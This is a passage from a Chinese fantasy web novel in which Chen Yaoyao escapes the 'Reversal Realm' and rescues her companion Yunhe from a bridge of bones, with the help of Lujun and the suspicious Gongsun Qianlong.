云河继续说,声音又低又快:“此境叫逆转境。所有决定的事,都不可逆转。任何代价都无法收回。一旦你做出选择,就不能反悔。反悔一次,被雷劈一次。”
她顿了顿,每一个字都像石头砸下来:“三次之后,你就会被踢出此境。”
陈瑶瑶眼睛一亮:“那不是好事吗?踢出去就能……”
“运气好能顺道出去。”云河打断她,目光沉沉地看着她,“运气不好,会夹在境与境之间,再也出不来。”
陈瑶瑶的呼吸停了。
公孙潜龙从仙人掌堆里爬出来,浑身扎满了刺,像个刺猬。他一边拔刺一边龇牙咧嘴,每拔一根就嗷一声:“我说云河,你怎么带我们来这么个鬼地方?发财都病成这样了,不赶紧找大夫,来沙漠干嘛?这地方连口水都没有!”
云河沉默。
她站在那里,一动不动,像一尊雕像。
陈瑶瑶看着她的侧脸,忽然问:“你为什么要打开这个境的通道?”
云河没有说话。
很久很久,久到陈瑶瑶以为她不会回答了,她才开口,声音低得像从地底传来,带着一种陈瑶瑶从未听过的虚弱:
“我……没法操控通道的去向了。本想去未来境的,没想到是逆转境。”
陈瑶瑶愣住了。
“白骨伞是你的,为什么你无法操控了?”
云河没有回答。
她只是低下头,看着自己的手。
那双手在阳光下,隐隐约约又浮现出几道裂纹。
很细,很浅,但陈瑶瑶看见了。
她的心一下子沉到谷底。
发财的呼吸越来越弱了。
陈瑶瑶抱着它,感觉怀里的温度在一点点流失,像沙子从指缝里漏走。她用袖子擦发财嘴角的血,擦着擦着,擦着擦着,眼泪就掉下来了。
“云河,我们怎么出去?”
云河看着四周,目光落在那些仙人掌上。
“此境的出口,需要解一个题。”
公孙潜龙凑过来,脸上的刺还没拔完,看起来滑稽又狼狈:“什么题?快说,我帮你解!我可是读过私塾的人!”
云河指着那些密密麻麻的仙人掌,一字一句:“如何在一刻间,让所有仙人掌都枯萎。”
陈瑶瑶看着那些仙人掌,心里一片茫然。
公孙潜龙已经撸起袖子开始干了:“这有什么难的?把它们的水都抽干不就行了!”
他抓起一把沙子,开始挖仙人掌的根。挖了半天,挖出一截粗大的根系,有水桶那么粗,里面储满了水,清亮亮的,看着就解渴。他把水倒掉,仙人掌依然翠绿,毫发无损。
什么都没发生。
公孙潜龙挠头,把头发都挠成了鸡窝:“没道理啊……水都没了,怎么还活着?”
云河说:“没用。它们的根系太复杂极其深,针状的叶子几乎不消耗水,靠身体储存的水量都能活很久。”
公孙潜龙不甘心,又想了另一个办法:“那就用沙子把它们埋了!”
他抄起铲子——也不知道他从哪掏出来的,好像他身上永远藏着十八般武器——开始往仙人掌上铲沙子。一堆一堆的黄沙盖上去,把仙人掌整个埋住,堆成一座小山。
等了半天,仙人掌又从沙子里钻出来,刺还更亮了,绿得更妖了。
公孙潜龙傻眼了。
陈瑶瑶看着这一切,忽然问:“我们还有几次机会?”
云河看着她,目光沉沉的,那目光让陈瑶瑶心里发毛:“你已经用了一次,刚才他们试了两次,还剩最后一次机会。”
陈瑶瑶的心一下子提到嗓子眼。
最后一次。
如果这次不成功,他们就会被雷电劈三次,被踢出去,夹在境与境之间,再也出不来。
发财在她怀里又咳了一声,咳出一小口血,染红了她的衣襟。
那血是暗红色的,黏稠的,带着泡沫。
陈瑶瑶低头看着它,脑子里飞快地转着。
让所有仙人掌枯萎……让所有仙人掌枯萎……
她忽然想起小时候在德德镇,隔壁阿婆种菜,最怕的就是虫子。那些菜青虫,密密麻麻爬满叶子,菜就活不成了。阿婆说,虫子比旱灾还可怕,旱灾还能浇水,虫子是啃到根里去。
虫子……
陈瑶瑶蹲下来,仔细看那些仙人掌。刺太密了,密密麻麻挤在一起,什么都看不见。她伸手去拨,手指被扎了一下,疼得她直抽气,血珠子冒出来。
一滴血滴在仙人掌上。
然后她看见了——刺的缝隙里,爬着一只小小的红色虫子。
那虫子比芝麻还小,颜色像胭脂,和仙人掌的绿形成鲜明对比。它爬得很慢,很慢,但爬过的地方,仙人掌的皮就会皱一点,干一点。
陈瑶瑶脑子里有什么东西一闪而过。
她站起来,看着云河,眼睛亮得吓人:“我想到一个办法。”
云河看着她。
陈瑶瑶说:“此境的所有决定都不可逆转,但我们可以附加条件,对吗?”
云河点头。
陈瑶瑶指着那只红色虫子,一字一句,像在念咒语:“我要无限复制这种虫子。”
话音刚落,天空轰隆一声。
那声音不是雷,是更深的东西,像是整个境在震动,在回应,在咆哮。
然后,那些红色虫子开始出现。
一只变两只,两只变四只,四变八,八变十六,十六变三十二——
眨眼间,红色的潮水从仙人掌的缝隙里涌出来,从沙子里钻出来,从空气中凝结出来,爬满了每一根刺,每一寸茎,每一片绿。
虫子太多了,太密了,把仙人掌整个裹住,密不透风,像一件红色的寿衣。
仙人掌开始枯萎。
一根一根,一丛一丛,一片一片。
绿色的汁液从虫子的缝隙里渗出来,流进黄沙里,转眼被吸干。那些虫子喝饱了汁液,变得更红,红得发亮,像一颗颗红色的宝石。
陈瑶瑶抱着发财,站在枯萎的仙人掌中间,浑身发抖。
天空裂开了一道口子。
那是境的门。
陈瑶瑶第一次看见境的门。
严格来说,那是一座桥。
桥身由白惨惨的骨头拼成,一根一根,有人骨,有兽骨,有长有短,有粗有细,密密麻麻,堆叠成拱形。有些骨头上还带着没烂干净的肉丝,黑褐色的,黏在上面。桥的两端隐没在黑暗里,看不见尽头,看不见来处。桥下是翻涌的黑雾,雾里有东西在动,无数只手,无数张脸,在雾里挣扎,沉下去,浮上来,又沉下去。
无数乌鸦绕着桥盘旋,发出沙哑的叫声,像哭,又像笑,像在唱一首送葬的歌。
陈瑶瑶喃喃道:“怎么感觉是打开了鬼门关……”
公孙潜龙已经一只脚踏上桥了,听到她这句话,嘴一瓢:“这里本来就是死尸地啊。”
陈瑶瑶心里一咯噔。
她下意识回头,看向那些枯萎的仙人掌。
它们正在萎缩。
一根一根塌下去,软下去,烂下去,最后扭曲成奇怪的形状——手握的形状。无数只枯萎的手,从黄沙里伸出来,五指张开,往外抓,往上抓,往天空抓。
每一只手都透露着深刻的绝望。
像是在喊救命。
又像是在说—都下来。
陈瑶瑶脑子里一片空白。
她忽然想起那些红色的虫子。它们是活的,它们也有生命。她为了出去,让它们无限复制,让它们爬满仙人掌,让它们活活饿死,活活渴死,活活烂死……
它们本来可以不死的。
她反悔了。
就在那个念头升起的瞬间,天空炸开一道惊雷。
轰——!!
那雷不是一道,是一片,是整个天空都在炸裂。无数道雷电同时劈下来,把天地照得雪亮,亮得睁不开眼。
雷电劈下来,陈瑶瑶只来得及看见云河的脸。
云河的脸在雷电里扭曲,嘴巴张着,像在喊什么,但她什么都听不见。雷电的声音太大了,大到把一切都吞没了。
云河冲过来。
她打开白骨伞,把陈瑶瑶罩在伞下。那把已经碎裂的伞,最后一次撑开,挡住了劈向陈瑶瑶的雷电。
然后云河把发财塞进她怀里,用尽全身力气把她推开——
雷电瞬间将云河淹没,白色影子入滴水入海,眨眼不见。
陈瑶瑶摔在地上,抱着发财,吃了满嘴的黄沙,白骨伞
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为她遮挡黄沙,哐当哐当作响。
不知过了多久,雷停了。
黄沙漫漫,仙人掌的枯手还在伸着,在风里微微晃动,像在招手,又像在告别。
陈瑶瑶跪在地上,浑身发抖。
“云河……公孙潜龙……”
没有人回应。
只有乌鸦在天上盘旋,一声一声地叫。
陈瑶瑶不知道自己在沙漠里跪了多久。
太阳落下去,又升起来。发财在她怀里,不停抽搐,咳出一点血沫,眼睛始终闭着。
陈瑶瑶低头看着它,看着它嘴角的血痂,看着它紧闭的眼睛,看着它那对软软垂着的耳朵,眼泪一滴一滴掉在它毛上。温度一点点失去,直到整个毛团开始僵硬。
她猛地站起来,疯了一样四处刨沙:“云河!云河你在哪!发财不行了!!快出来啊!”
沙子太烫了,烫得她脚底起泡。但她不管,她找,一寸一寸地找。
找到那把白骨伞的时候,伞已经碎了。
伞骨散了一地,有的断成几截,有的烧成焦黑。伞面撕裂成布条,在风里飘动,像几面破旗。那些骨珠滚得到处都是,有的卡在仙人掌的枯手里,有的埋在沙子里,只露出一点点白光。
陈瑶瑶跪下来,一颗一颗捡那些骨珠。
捡着捡着,她发现伞柄里还有东西。
那截指骨。
它还在,完好无损,莹白如玉,在阳光下泛着光。
陈瑶瑶把它拔出来。
指骨在她手心里微微发热,然后开始变化。它变长,变粗,变出四肢,变出头,变出尾巴——
一只小骆驼。
巴掌大小,奶黄色的毛,眯着眼睛,四条小短腿,背上鼓起两个小小的驼峰。它的眼睛黑溜溜的,湿漉漉的,正看着她。
和她刚捡到发财的时候一模一样。
只是发财是狗,这是骆驼。
陈瑶瑶愣住了。
小骆驼睁开眼,看着她,喉咙里发出一声极轻极细的——
“汪?”
陈瑶瑶的眼泪哗地流下来。
她把小骆驼抱进怀里,抱得死紧,紧到它喘不过气,发出抗议的哼唧声。
“发财……发财……”
小骆驼伸出舌头,舔了舔她的手。
温热的,痒痒的,和发财一模一样。
陈瑶瑶跪在沙漠里,抱着怀里的小东西,放声大哭。
哭了好久好久。
哭到太阳又落下去了。
她站起来,把小骆驼放进怀里,一步一步朝那座白骨桥走去。
桥还在那里,黑雾还在翻涌,那些手还在雾里伸着,那些脸还在雾里扭曲,乌鸦还在盘旋,还在叫。
陈瑶瑶看着那座桥,想起云河说过的话——
“运气好能顺道出去,运气不好会夹在境与境之间,再也出不来。”
她深吸一口气。
抱着小骆驼,踏上了白骨桥。
桥很滑。
每一步都像踩在冰上,滑腻腻的,不知道是骨头上的油还是什么别的东西。陈瑶瑶走得很慢,很小心,怕一滑就掉进那黑雾里。
黑雾在脚下翻涌,偶尔有一两只惨白的手伸出来,抓住桥边,又缩回去。偶尔有一张脸浮上来,眼睛是两个黑洞,嘴巴张得老大,像在无声地喊。
陈瑶瑶不敢低头,不敢停下,一步一步往前走。
小骆驼缩在她怀里,瑟瑟发抖,把脸埋进她衣服里,不敢看。
走了很久很久。
走到腿都软了,走到眼前发黑,走到以为自己会死在这桥上——
前面忽然亮起一点光。
很微弱,很遥远,但确实是光。
陈瑶瑶朝那光走去。
越来越近,越来越亮——
然后她一脚踩空,掉了下去。
陈瑶瑶醒来的时候,发现自己躺在一片草地上。
天很蓝,云很白,风吹过来,带着青草和野花的香味。远处有一条小溪,水声叮叮咚咚,好听极了。
小骆驼趴在她身边,正用舌头舔她的脸。
陈瑶瑶坐起来,四处张望。
没有云河。没有公孙潜龙。没有那座白骨桥。没有那些乌鸦。
只有她和怀里这只小骆驼。
她低头看着它,看着它那双黑溜溜的眼睛,看着它那对小小的驼峰,看着它那身奶黄色的毛,心里又酸又涩。
“发财,”她轻声说,“我们出来了。”
小骆驼“汪”了一声,尾巴摇了摇。
陈瑶瑶笑了。
笑着笑着,眼泪又掉下来。
她站起来,抱着小骆驼,朝溪边走去。
不管怎么样,她还活着。发财还活着。
云河和公孙潜龙,一定也还活着。
她要把她们找回来。
走到溪边,她蹲下来,想捧点水喝。
手刚碰到水,她愣住了。
水里倒映着她的脸。
还有她身后站着的人。
一个女人。
穿着白衣,头发披散,脸色苍白,嘴角带着血。
是云河。
陈瑶瑶猛地回头。
身后什么都没有。
只有风,只有草,只有那条小溪。
她再低头看水里。
水里什么都没有了。
只有她自己的脸。
陈瑶瑶的心跳得厉害。她四处张望,喊:“云河!云河!”
没有人回应。
只有小骆驼在她怀里,轻轻“汪”了一声。
陈瑶瑶抱着它,站在溪边,看着那条小溪。水流得很急,从远处来,往远处去。
她深吸一口气,抱着小骆驼,沿着溪流,朝前走去。
身后,那座白骨桥渐渐消失在雾气里。
乌鸦还在叫。
那些手还在伸着。
那些脸还在扭曲。
她不知道,那桥上有一个人正看着她。
穿着白衣,头发披散,脸色苍白。
站在桥中央,一动不动。
嘴唇动了动,像在说什么。
但风太大了,什么也听不见。
22. 逆转境
草原无边无尽。
草有半人高,风吹过的时候,像绿色的海浪,一波一波涌向远方。那海浪里藏着什么东西,陈瑶瑶看不清,只看见草尖在颤动,像是有什么东西在下面游走。
天边最后一抹光正在沉下去,沉进地平线里,沉进那些看不见的深渊里。天色黑得很快,快得不正常,像有人把灯一盏一盏吹灭了。
间或传来狼嚎。
一声,两声,三声。
此起彼伏,像是在传递什么信号,又像是在警告什么。那声音很近,又很远,像从四面八方围过来。
陈瑶瑶抱着小骆驼,跌跌撞撞地穿出森林。
林子尽头——
还是沙漠。
黄沙漫漫,一望无际,和之前一模一样。那些枯萎的仙人掌还在,那些伸向天空的手还在,在风里微微晃动,像在等她回来。
陈瑶瑶的脚步停住了。
她低头看着怀里的小骆驼,看着它那双黑溜溜的眼睛,看着它那对小小的驼峰,声音发颤:
“发财,我有个不好的预感……”
话音未落——
天空炸开一道惊雷。
轰——!!
那雷不是从天上劈下来的,是从地底钻出来的,撕裂大地,直冲云霄。它就劈在陈瑶瑶刚刚栖身的大树上,碗口粗的树干瞬间炸裂,木屑飞溅,整棵树燃起大火,又在下一秒被劈成焦黑的木条,散落一地。
陈瑶瑶就地一滚,滚进草丛深处,死死抱住发财,把自己缩成最小的一团。
雷电如雨水般砸下来。
一道接一道,密密麻麻,没有停歇。大地在震动,空气在燃烧,到处都是焦臭味,到处都是刺眼的白光。那白光太亮了,亮得陈瑶瑶睁不开眼,只能听见轰鸣声在耳边炸开,一下又一下,像有人在用锤子砸她的头。
陈瑶瑶趴在地上,不敢动,不敢呼吸。
叭的一声。
手腕传来剧痛。
那股痛不是普通的痛,是火烧火燎的痛,是骨头都在颤抖的痛,是有什么东西在皮肤底下炸开的痛。她低头,看见自己的小臂——衣服瞬间化为焦炭,露出下面的皮肤。
皮肤正在起泡。
无数个小泡,密密麻麻,鼓起来,又破掉,流出黄水。新泡又鼓起来,又破掉。一层一层,一片一片。
一股烧焦的气味直冲鼻尖。
肉香。
她自己的肉香。
陈瑶瑶咬紧牙,不敢叫出声。她把拳头塞进嘴里,咬得满嘴是血。
雷电还在劈。
后背传来阵痛,大腿传来阵痛,肩膀传来阵痛。每一次痛都像被烙铁烫过,每一次痛都让她浑身发抖。她感觉自己在被一片一片地撕开,被一寸一寸地烧焦。
雷电太密集了,封死了所有后路。
她逃不出去。
她只能抱着发财,等死。
就在这时——
一个黑影快速靠近。
那影子太快了,快得像一道黑色的闪电,在雷电的间隙里穿梭。利爪在空中快速飞舞,当当当当当,像兵刃相交的动静,竟然把劈下来的雷电都挡开了。那爪子闪着冷光,每一次挥动都带起一阵风。
然后陈瑶瑶感觉自己被人狠狠抓住,猛地一拖拽。
她整个人飞起来,飞进那黑影的怀里。手还死死抱着发财,抱得太紧,紧到手臂都僵硬了,差点脱手。发财吓得直往她怀里钻,发出细小的呜咽声。
眼角飘过一对狼耳。
陈瑶瑶心里猛地一跳,脱口而出:
“路君!”
那黑影低头看她。
一张年轻的脸,眉眼间还带着当初的稚气,但多了几分凌厉。银灰色的头发,琥珀色的眼睛,嘴角勾着一个笑——那笑容和当年一样,桀骜不驯。
正是路君。
她比以前高了,也比以前壮了,整个人散发着一种……王者的气息。那种气息让陈瑶瑶想起头狼,想起那些在月光下仰天长啸的狼王。
“你胆子越发大了啊。”路君的声音带着笑意,还有一丝无奈,“逆转境都敢进来?这里是专供人修炼之境,你看看你,连灵力都不会操控,怎么就闯进来了?”
陈瑶瑶被她带着在雷电里穿梭,风声呼啸,雷电轰鸣,她扯着嗓子喊:“啊?这里还是逆转境?我没出去?”
路君脸色一变。
她停在一棵大树下,把陈瑶瑶放下来,视线在她周围环绕一圈,眉头紧紧皱起。
“云河什么时候消失的?”
陈瑶瑶不假思索:“半个时辰前!本来我们都要出去了,不知为何,雷电突然劈来,她为了救我,被雷电卷走了!还有公孙潜龙,他也消失了!”
路君的表情更凝重了。
她沉默了一瞬,忽然问:“他怎么阴魂不散的?没自己的任务要做吗?整天跟着你们做什么?”
陈瑶瑶一时间答不上来:“额……”
路君冷哼一声,没再追问,转身朝树林深处走去:“跟我来。”
这片树林和之前的不一样。
树木异常高大,每一棵都有几十丈高,树干粗得几个人都抱不过来。树皮是暗红色的,上面长满了奇异的纹路,像符文,又像血管,还在微微跳动。陈瑶瑶伸手摸了一下,那树皮竟然是温热的,像活物的皮肤。
路君伸手拍了拍一棵树的树干,那树干竟然微微发光,红色的光,一明一暗,像在呼吸,像有心跳。
“这叫若木。”路君说,“能吸收异能。”
陈瑶瑶愣住了:“异能?”
路君点头:“就是云河修炼所需要的灵力。这种树专门吸收天地间的灵力,储存在树干里。灵力越浓的地方,若木长得越高。这片林子里一共有一万三千八百棵,每一棵都储存着不同人的灵力。”
她顿了顿,转头看着陈瑶瑶,目光里有陈瑶瑶看不懂的东西。那目光太深了,像在看一个将死之人。
“但云河现在的情况不一样。她失去了一颗心脏,已经无法吸收灵力了。”
陈瑶瑶脑子里有什么东西炸开。
“你说什么?”
路君看着她,一字一句,每个字都像刀子:
“云河没有心脏。鸦狼剖了半颗心给她续气,但那是妖心,不是人心。妖心只能保她不死,不能让她修炼。她现在就像一个……一直往外放灵力的空壳。灵力只会越来越少,不会增加。就像一盏灯,油只会越来越少,永远不会变多。”
陈瑶瑶的腿软了。
她想起云河身上的裂纹,想起她越来越差的脸色,想起她握着白骨伞时微微发抖的手,想起她偶尔看着远方发呆的眼神。
原来是这样。
原来她一直在撑着。
用那半颗妖心,撑着。
路君看着她那副表情,忽然问:“你能为她做什么?”
陈瑶瑶猛地抬起头:“什么都可以!”
路君歪着头看她,眼睛里带着探究:“你为什么要这么在意她?你现在离开她也能活啊,而且你还能穿梭各个境,完全自由。干啥总跟着她?不觉得束缚吗?”
陈瑶瑶愣了一下。
然后她开口,没有任何犹豫:
“我的命是她给的。”
路君挑起眉。
陈瑶瑶继续说,声音越来越坚定:“如果不是她,我早就死在德德镇了,死在那个雪桥仪式上,穿着嫁衣被沉进水里。是她给了我第二条命,我当然要救她。”
她顿了顿,低头看着怀里的小骆驼,又抬起头,看着路君:
“而且跟着她,是我自己愿意的。是我被她吸引,是我心甘情愿。开心都来不及,怎么会觉得束缚?”
路君上下打量她,那目光像在看什么稀罕东西。
“搞不懂你们这些外境人的脑子。”
她转身往前走,声音飘回来,带着一丝不易察觉的颤抖:
“你救不了的。她已经踏上死路了。要是我母亲还在,她或可还有一线希望。现在?没可能。”
陈瑶瑶追上去,不死心地问:“你是鸦狼的女儿,你没继承她的能力吗?”
路君停下脚步。
她回过头,看着陈瑶瑶,嘴角扯出一个笑。那笑容里有自嘲,有苦涩,还有一点点陈瑶瑶看不懂的东西——那是恨,对自己的恨。
“我是人种。生来就不分人畜,低等的不能再低等的活物。我有资格继承她的能力吗?”
陈瑶瑶看着她,难得沉了脸色。
“鸦狼为你铺这么远的路,不是让你妄自菲薄的。”
路君愣住了。
陈瑶瑶一字一句,像在用锤子敲钉子:“万物平等。只要你自己不认可那些乌七八糟的称号,你有资格得到一切。”
路君看着她,眼睛里有什么东西在动。那是一种很久没出现过的东西,像是光,又像是泪。
过了好一会儿,她才开口:“看着文弱,心气这么大。你知道世上有多少境吗?口气这么大还没挨打够?”
陈瑶瑶苦笑:“我挨打的够多了。但我还是这个观点。”
路君沉默了一瞬。
然后她笑了,那笑容和刚才不一样,是真的笑,像冰层裂开了一道缝。
“好。我知道她为什么选你了。”
她转身,朝树林深处走去,边走边说:
“这里一共有一万三千八百颗若木。你如果能从中找到云河曾经修炼的那颗,就可以借助上面残存的灵力,将其收集,引入云河体内,就有机会延长她的时间。”
陈瑶瑶眼睛亮了。
路君回头,看着她,目光里带着警告:
“但是这也只是缓兵之计。她的终局是死路,这点无法改变。你想好了,可能你一切努力都会竹篮打水。”
陈瑶瑶二话不说,直接开始在林中转。
“我只做我能做之事,其他不论。”
一棵。
两棵。
三棵。
陈瑶瑶一棵一棵地摸过去,摸那些若木的树干,摸那些暗红色的树皮,希望能感受到什么。
什么都没有。
十棵。
二十棵。
三十棵。
她的手都摸破了,树皮太粗糙,剌出一道道血口子。血从指缝里渗出来,滴在地上,转眼就被吸干。但她不停,她不能停。
一百棵。
两百棵。
三百棵。
天色黑了又亮,亮了又黑。陈瑶瑶不知道自己找了多久,只知道腿已经走麻了,眼睛已经看花了,手臂上的烫伤还在疼,疼得她直冒冷汗。每走一步都像踩在刀尖上,每呼吸一次都像吞下火炭。
发财缩在她怀里,偶尔舔舔她的手,偶尔轻轻“汪”一声,像是在给她鼓劲。那小舌头温热的,舔在伤口上,又疼又痒。
三千棵。
全都错了。
陈瑶瑶靠在一棵若木上,大口喘气,眼前一阵阵发黑。她感觉自己在往下坠,坠进一个无底深渊。
就在这时——
一个黑洞凭空出现。
那黑洞来得毫无预兆,就在她面前三尺的地方,从无到有,从小到大,眨眼间扩张到一人高。边缘是扭曲的光,里面是深不见底的黑。
公孙潜龙从里面掉出来,直直砸在地上,砸出一个大坑。
“哎呦喂——!”
他躺在坑里,龇牙咧嘴地叫唤,浑身是土,头发里还插着几根草。看见陈瑶瑶,他眼睛一亮,从坑里爬出来:
“瑶瑶!可算找到你了!云河呢?”
陈瑶瑶看着他,一时不知道该说什么。她只觉得公孙潜龙出现得太巧了,巧得让人心里发毛。
公孙潜龙四处张望,看见那些若木,愣了一下:“这是……若木?你们在找若木?”
陈瑶瑶点头:“我们要找云河曾经修炼的那颗,上面有残存的灵力,可以延长她的时间。”
公孙潜龙二话不说,从怀里掏出一截东西。
白骨节。
很小,只有小指长,通体莹白,在昏暗的树林里发着微弱的光。那光很冷,冷得不像活物。
公孙潜龙催动那白骨节,白骨节瞬间亮起来,光芒越来越盛,然后像箭一样射出去,直直指向一个方向。
“那边!”
陈瑶瑶抱着发财就冲过去。
公孙潜龙跟在后面,跑得气喘吁吁。
他们跑到一棵若木前,那棵树比其他的都高,树干粗得需要十几个人合抱。树皮上的纹路密密麻麻,像无数张脸,又像无数行字。那些脸在扭动,那些字在变化,像是在诉说什么秘密。
公孙潜龙抬头看着那棵树,喃喃道:“就是它了。”
陈瑶瑶放下发财,捡起一块石头,就要砍树。
就在这时——
一道黑影闪过。
刀光劈向公孙潜龙。
那刀太快了,快得陈瑶瑶只看见一道白光。
公孙潜龙反应极快,往旁边一闪,躲到树上,冲下面喊:“喂!!我可是在帮你们!你什么意思!”
陈瑶瑶也愣住了。
路君站在树下,手里握着刀,刀尖还在滴血——公孙潜龙的血。她抬头看着树上的公孙潜龙,目光冷得像冰,像在看一个死人。
“我还想问你。”
她的声音很轻,但每个字都像刀子:
“上次见面,我记得你手指齐全。怎么突然少了一根?”
陈瑶瑶心里猛地一跳。
她看向公孙潜龙的左手。
那只手戴着黑手套,在这昏暗的树林里,看不清什么。
但风一吹——
手套的小拇指处,空空荡荡,随风飘荡。
赫然是空的。
树林里安静得可怕。
只有风吹过若木的声音,沙沙沙,像什么东西在窃窃私语。那些窃窃私语越来越响,像是无数张嘴在同时说话,说的什么听不清,但让人头皮发麻。
公孙潜龙站在树上,低头看着自己的左手,一动不动。
路君握着刀,刀尖指着他的喉咙,刀尖上的血还在往下滴,一滴,两滴,三滴,砸在落叶上,发出细碎的声响。
“说话。”
公孙潜龙抬起头,咧嘴笑了。
那笑容和平时一样,欠揍得很。但这一次,那笑容底下,有什么东西不一样了。
“哎呀,被发现了。”
他从树上跳下来,落在陈瑶瑶旁边,拍了拍身上的土,若无其事地说:“手指嘛,当然是丢了。不然还能怎么着?”
路君没动,刀尖还是指着他:“怎么丢的?”
公孙潜龙挠了挠头:“这个嘛……说来话长。”
路君:“那就长话短说。”
公孙潜龙叹了口气,举起左手,把那只空荡荡的手套展示给她们看。
“雷电劈的。”
陈瑶瑶愣住了。
公孙潜龙继续说,声音难得的正经,但那份正经听起来反而不对劲:“你们被雷电卷走的时候,我去抓云河,没抓住,反而被一道雷劈中。当时没觉得疼,等回过神来,小拇指已经没了。烧成灰了,连骨头都没剩。”
他顿了顿,苦笑:“就这么简单。你们要是不信,我也没办法。”
路君盯着他,看了很久很久。
那目光像要把人看穿。
然后她把刀收了。
“姑且信你一次。”
公孙潜龙龇牙咧嘴地揉着左手:“什么叫姑且信我一次?我好歹也是和你们并肩作战过的战友!就这么不信任我?”
路君没理他,转向陈瑶瑶:“找到若木了,还不快动手?”
陈瑶瑶回过神,捡起石头,就要砍树。
路君拦住她:“用这个。”
她递给陈瑶瑶一把刀,正是刚才指着公孙潜龙的那把。
陈瑶瑶接过刀,深吸一口气,对准那棵若木——
一刀砍下去。
树干裂开一道口子,里面涌出红色的光。那光芒很柔和,像晚霞,像烛火,像什么东西在做梦。但那光里,有什么东西在动,像是一条条细小的蛇,在光里游走。
陈瑶瑶伸手进去,摸到一团温热的东西。
她掏出来。
是一颗珠子。
拳头大小,通体透明,里面流转着红色的光芒。那光芒在珠子里游动,像活的一样,像在呼吸,像有心跳。陈瑶瑶握着它,能感觉到它在跳动,一下,一下,和心跳一个频率。
路君看着那颗珠子,目光复杂:“就是它。云河修炼时留下的灵力结晶。”
陈瑶瑶捧着那颗珠子,手在发抖。
“这个……能救云河?”
路君点头:“能延长她的时间。找到她,把珠子按在她心口,灵力会自动流入她体内。”
陈瑶瑶抬头看着她:“云河在哪?”
路君沉默了一瞬。
然后她开口,声音低沉得不像她:
“那座桥上。”
陈瑶瑶脑子里“嗡”的一声。
那座桥。
那座白骨桥。
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那座她逃离时,头也不敢回的桥。那座她踏上时,每一步都像踩在刀尖上的桥。那座她差点死在上面、再也不敢回想的桥。
路君看着她的表情,继续说:“她被雷电卷进去之后,就困在那座桥上了。那座桥叫奈何桥,是逆转境和外界的分界。活着的人可以过桥,但死了的人过不去。她现在的状态……半死不活,所以困在桥中央,进退不得。”
陈瑶瑶转身就跑。
路君一把拉住她:“你疯了?那座桥是死地!你去了就回不来了!”
陈瑶瑶回头看着她,眼睛亮得吓人,亮得不像活人的眼睛:
“我不管。”
路君愣住了。
陈瑶瑶一字一句,每个字都像从牙缝里挤出来的:“她在那等我。我必须去。”
路君看着她,看了很久很久。
然后她松开手,叹了口气。
“行吧。我陪你去。”
陈瑶瑶摇头:“你不用……”
路君打断她:“我不是帮你,是还人情。她当年帮过我,我现在还她。”
她顿了顿,看向公孙潜龙:“你呢?”
公孙潜龙咧嘴一笑,那笑容欠揍得很:“废话,我当然去。我可是和云河并肩作战过的战友!”
三个人,一只小骆驼,朝树林外走去。
身后,那颗若木缓缓合拢,伤口慢慢愈合。
红色的光在树干里流转,像是在看着她们离开。
陈瑶瑶没有回头。
所以她没看见,那颗若木的树干上,那些密密麻麻的纹路,正在扭动成一行字——
“小心带刀的。”
那座桥还是那个样子。
白骨堆砌,黑雾翻涌,乌鸦盘旋。桥下的黑雾里,无数只手在伸着,无数张脸在扭曲,无数张嘴在无声地呐喊。那些手太白了,白得像死人的手。那些脸太模糊了,模糊得看不清五官,只能看见绝望。
陈瑶瑶站在桥头,看着那座桥,心跳得厉害。那心跳声太响了,响得她怀疑路君和公孙潜龙都能听见。
路君站在她身边,低声道:“我只能送你到这儿。那座桥有禁制,妖不能过。”
陈瑶瑶点头。
公孙潜龙也站了出来:“我也不能过。”
陈瑶瑶一愣,转头看他。
公孙潜龙举起左手,那只空荡荡的手套在风里飘动:“我少了一根手指,已经是残躯。这种桥,残躯过不去。”
陈瑶瑶看着他,忽然问:“你真的是被雷劈的?”
公孙潜龙愣了一下。
然后他笑了,那笑容和平时一样,没心没肺:“当然是真的。不然还能是什么?”
陈瑶瑶看着他,没说话。
她忽然想起一件事——
雷电劈人的时候,会留下焦痕。
公孙潜龙左手的手腕上,干干净净,什么都没有。
路君在旁边冷笑一声。
公孙潜龙装作没听见,拍拍陈瑶瑶的肩:“去吧。云河等着你呢。”
陈瑶瑶深吸一口气,抱着发财,踏上了那座桥。
一步。
两步。
三步。
脚下的骨头咯吱作响,像随时会塌。黑雾在脚下翻涌,无数只手伸出来,想抓她的脚,又缩回去。那些手冰凉的,碰到她的脚踝,留下青紫色的指印。
乌鸦从头顶飞过,叫得人心发慌。那叫声像哭,又像笑,像在唱一首送葬的歌。
陈瑶瑶不敢低头,不敢停下,一步一步往前走。
走了很久很久。
走到腿都软了,走到眼前发黑,走到以为自己会死在这桥上——
她看见了云河。
云河站在桥中央,穿着白衣,头发披散,脸色苍白得像纸。她站在那里,一动不动,像一尊雕像,像一具尸体,像一个等死的人。
陈瑶瑶冲过去:“云河!”
云河慢慢转过头,看着她。
那双眼睛里,有光。那光很微弱,像一盏快要燃尽的灯。
“你怎么来了?”云河的声音很轻,像风,像随时会散,“这是死地,你不该来。”
陈瑶瑶把珠子按在她心口:“我来救你。”
珠子瞬间亮起来,红色的光芒涌进云河体内。云河身上的裂纹开始愈合,一道一道,慢慢消失,像从未出现过。
云河低头看着她,目光复杂。那目光里有陈瑶瑶看不懂的东西——有感激,有不舍,还有……恐惧?
“你……”
陈瑶瑶抬头,冲她笑:“我说过,我的命是你给的。你要活着,我才有的还。”
云河愣了一下。
然后她笑了。
那笑容很淡,很轻,但很真。是真心的笑,是放心的笑,是终于可以松一口气的笑。
就在这时——
桥突然震动起来。
不是普通的震动,是从地底深处传来的震动,像是有什么东西在下面苏醒了。
黑雾翻涌,乌鸦尖叫,无数只手从雾里伸出来,疯狂地抓向她们。那些手不再是试探,而是攻击,是要把她们拖进深渊的攻击。
云河一把抱住陈瑶瑶,撑开白骨伞。
伞面上的骨珠疯狂跳动,逆时针旋转——
红雾涌出,将她们裹住。
陈瑶瑶眼前一黑。
失去意识前,她听见一个声音。
很轻,很细,像风穿过门缝——
“小心带刀的。”
陈瑶瑶醒来的时候,发现自己躺在一片草地上。
天很蓝,云很白,风吹过来,带着青草和野花的香味。阳光照在身上,暖洋洋的,像什么都没发生过。
云河躺在她旁边,闭着眼睛,呼吸平稳。
发财——小骆驼——趴在她怀里,正用舌头舔她的脸。那小舌头温热的,痒痒的。
陈瑶瑶坐起来,四处张望。
路君站在不远处,抱着胳膊,看着她们。
公孙潜龙也站在旁边,龇牙咧嘴地揉着胳膊,不知道又摔着哪了。
陈瑶瑶问:“我们出来了?”
路君点头:“出来了。”
